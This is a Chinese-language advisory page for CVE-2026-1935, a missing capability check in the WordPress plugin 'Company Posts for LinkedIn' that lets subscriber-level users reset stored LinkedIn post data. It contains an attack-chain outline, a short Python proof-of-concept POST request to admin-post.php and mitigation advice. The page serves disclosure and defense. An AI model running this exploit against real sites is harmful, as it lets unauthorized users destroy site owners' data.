CVE-2026-1935 CVSS 4.3 中危

CVE-2026-1935 WordPress插件权限缺失漏洞

披露日期: 2026-03-21

来源: [email protected]

漏洞信息

漏洞编号

CVE-2026-1935

漏洞类型

权限缺失

CVSS评分

4.3 中危

攻击向量

网络 (AV:N)

认证要求

低权限 (PR:L)

用户交互

无需交互 (UI:N)

影响产品

Company Posts for LinkedIn

漏洞概述

WordPress插件“Company Posts for LinkedIn”在所有版本（包括1.0.0及以下）中存在权限缺失漏洞。该漏洞源于代码中 hooked 到 `admin_post_reset_linkedin_company_post` 的 `linkedin_company_post_reset_handler` 函数未进行充分的能力检查。这允许拥有订阅者及以上权限的经过身份验证的攻击者，无需管理员权限即可发送请求删除存储在网站选项表中的LinkedIn帖子数据，造成数据完整性受损。

技术细节

该漏洞位于插件管理类文件 `admin/class-linkedin-company-posts-admin.php` 中，具体涉及 `linkedin_company_post_reset_handler()` 函数。该函数被错误地注册为 `admin_post_reset_linkedin_company_post` 钩子的回调，且在执行重置逻辑前未调用 `current_user_can()` 进行权限校验。在 WordPress 中，虽然 `admin_post` 需要登录，但未限制具体角色。因此，攻击者可利用低权限账号（如订阅者），构造向 `wp-admin/admin-post.php` 发送的 POST 请求，参数包含 `action=reset_linkedin_company_post`。这将导致服务器执行删除操作，清除 `wp_options` 表中的关键数据，这是一个典型的权限缺失漏洞。

攻击链分析

STEP 1

侦查

攻击者识别目标站点安装了Company Posts for LinkedIn插件。

STEP 2

获取低权限账号

攻击者在目标站点注册一个普通用户账号（订阅者级别）。

STEP 3

构造恶意请求

攻击者构造一个包含action参数的POST请求，指向wp-admin/admin-post.php。

STEP 4

执行攻击

利用低权限会话发送请求，触发缺失权限检查的函数，删除LinkedIn数据。

PoC / 利用代码

⚠️ 仅供安全研究

以下代码仅用于安全研究和授权测试，未经授权使用属于违法行为。

PoC

import requests

# Target configuration
target_url = "http://example.com/wp-admin/admin-post.php"

# Exploit parameters
payload = {
    "action": "reset_linkedin_company_post"
}

# Authentication cookies (Subscriber level)
# Replace 'wordpress_logged_in_xxx' with actual cookie from a low-priv session
cookies = {
    "wordpress_logged_in_xxx": "subscriber_session_cookie_value"
}

try:
    # Send POST request to trigger the vulnerable handler
    response = requests.post(target_url, data=payload, cookies=cookies, timeout=10)

    if response.status_code == 200:
        print("[+] Exploit successful: Data likely reset.")
    else:
        print(f"[-] Request failed with status code: {response.status_code}")

except requests.exceptions.RequestException as e:
    print(f"[!] Error during request: {e}")

影响范围

Company Posts for LinkedIn <= 1.0.0

防御指南

临时缓解措施

建议立即将插件升级至修复版本。如果暂时无法升级，应禁用该插件以防止数据被恶意删除，或者通过WAF规则拦截针对admin-post.php的特定action请求。

参考链接

快速导航: 前沿安全最新收录域名列表最新威胁情报列表最新网站排名列表最新工具资源列表最新CVE漏洞列表